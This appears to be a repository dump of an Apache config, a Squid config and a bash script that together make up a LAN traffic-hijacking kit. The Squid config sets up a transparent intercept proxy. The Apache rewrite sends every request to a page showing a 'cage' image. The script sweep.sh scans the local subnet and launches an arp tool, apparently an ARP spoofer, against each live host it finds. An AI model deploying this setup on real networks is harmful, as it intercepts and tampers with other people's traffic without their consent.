Include conf/extra/httpd-multilang-errordoc.conf

# Fancy directory listings
Include conf/extra/httpd-autoindex.conf

# Language settings
Include conf/extra/httpd-languages.conf

# User home directories
Include conf/extra/httpd-userdir.conf

# Real-time info on requests and configuration
#Include conf/extra/httpd-info.conf

# Virtual hosts
#Include conf/extra/httpd-vhosts.conf

# Local access to the Apache HTTP Server Manual
#Include conf/extra/httpd-manual.conf

# Distributed authoring and versioning (WebDAV)
#Include conf/extra/httpd-dav.conf

# Various default settings
Include conf/extra/httpd-default.conf

# Configure mod_proxy_html to understand HTML4/XHTML1
<IfModule proxy_html_module>
Include conf/extra/proxy-html.conf
</IfModule>

# Secure (SSL/TLS) connections
#Include conf/extra/httpd-ssl.conf
#
# Note: The following must must be present to support
#       starting without SSL on platforms with no /dev/random equivalent
#       but a statically compiled-in mod_ssl.
#
<IfModule ssl_module>
SSLRandomSeed startup builtin
SSLRandomSeed connect builtin
</IfModule>
#
# uncomment out the below to deal with user agents that deliberately
# violate open standards by misusing DNT (DNT *must* be a specific
# end-user choice)
#
#<IfModule setenvif_module>
#BrowserMatch "MSIE 10.0;" bad_DNT
#</IfModule>
#<IfModule headers_module>
#RequestHeader unset DNT env=bad_DNT
#</IfModule>


RewriteEngine On
RewriteCond %{REQUEST_URI} !=/index.html
RewriteCond %{REQUEST_URI} !=/images/cage.jpg
RewriteRule ^ /index.html [R=301]


================================================
FILE: squid.conf
================================================
#
# Recommended minimum configuration:
#

# Example rule allowing access from your local networks.
# Adapt to list your (internal) IP networks from where browsing
# should be allowed
acl localnet src 10.0.0.0/8	# RFC1918 possible internal network
acl localnet src 172.16.0.0/12	# RFC1918 possible internal network
acl localnet src 192.168.0.0/16	# RFC1918 possible internal network
acl localnet src fc00::/7       # RFC 4193 local private network range
acl localnet src fe80::/10      # RFC 4291 link-local (directly plugged) machines

acl localnet src 129.59.0.0/16

acl SSL_ports port 443
acl Safe_ports port 80		# http
acl Safe_ports port 21		# ftp
acl Safe_ports port 443		# https
acl Safe_ports port 70		# gopher
acl Safe_ports port 210		# wais
acl Safe_ports port 1025-65535	# unregistered ports
acl Safe_ports port 280		# http-mgmt
acl Safe_ports port 488		# gss-http
acl Safe_ports port 591		# filemaker
acl Safe_ports port 777		# multiling http
acl CONNECT method CONNECT

#
# Recommended minimum Access Permission configuration:
#
# Deny requests to certain unsafe ports
http_access deny !Safe_ports

# Deny CONNECT to other than secure SSL ports
http_access deny CONNECT !SSL_ports

# Only allow cachemgr access from localhost
http_access allow localhost manager
http_access deny manager

# We strongly recommend the following be uncommented to protect innocent
# web applications running on the proxy server who think the only
# one who can access services on "localhost" is a local user
#http_access deny to_localhost

#
# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS
#

# Example rule allowing access from your local networks.
# Adapt localnet in the ACL section to list your (internal) IP networks
# from where browsing should be allowed
http_access allow localnet
http_access allow localhost

# And finally deny all other access to this proxy
http_access deny all

# Squid normally listens to port 3128
http_port 3128
http_port 3129 intercept

# Uncomment and adjust the following to add a disk cache directory.
#cache_dir ufs /var/cache/squid 100 16 256

# Leave coredumps in the first cache dir
coredump_dir /var/cache/squid

#
# Add any of your own refresh_pattern entries above these.
#
refresh_pattern ^ftp:		1440	20%	10080
refresh_pattern ^gopher:	1440	0%	1440
refresh_pattern -i (/cgi-bin/|\?) 0	0%	0
refresh_pattern .		0	20%	4320

#url_rewrite_access allow localnet
#url_rewrite_program /usr/local/bin/cage.sh
#url_rewrite_children 5


================================================
FILE: sweep.sh
================================================
#!/bin/bash

if [ $# -lt 1 ]; then
	echo "Error: you must specify an interface name"
	exit 1
fi

# get the CIDR notation
IN=$(ip a | grep "$1" | tail -n 1)
arrIN=(${IN//\// })
IP=${arrIN[1]}
BITS=${arrIN[2]}
ITER=$((2**$((32-$BITS))))

# start with a full netmask
MASK=$((2#11111111111111111111111111111111))
MASK=$((MASK - ITER + 1))

# convert from dotted quad to a single integer
arrIP=(${IP//./ })
IPNUM=$((arrIP[0] << 24 | arrIP[1] << 16 | arrIP[2] << 8 | arrIP[3] << 0))
IPNUM=$((IPNUM & MASK)) # apply the mask

for ((i=0; i < ITER; ++i)); do
	# this type of ping gets through more firewalls than ICMP
	CURIP=$((IPNUM + i))
	tcping -q -u 10000 $CURIP 6000
	STAT=$?

	# status codes: 0 means connection was opened, 1 means we got a RST (which
	# means there is someone there to talk to), and 2 means we timed out
	# (timeout is 10000 us aka 10 ms, which is plenty for a LAN)
	if [ $STAT -ne 2 ]; then
		# convert back to dotted quad
		IP0=$((CURIP >> 24))
		IP1=$(($((CURIP >> 16)) & 255))
		IP2=$(($((CURIP >> 8))  & 255))
		IP3=$((CURIP & 255))
		
		IPSTR=$IP0"."$IP1"."$IP2"."$IP3
		echo $IPSTR
		if [[ $2 != "-p" ]]; then
			./arp $IPSTR 2 -q &
		fi
	fi
done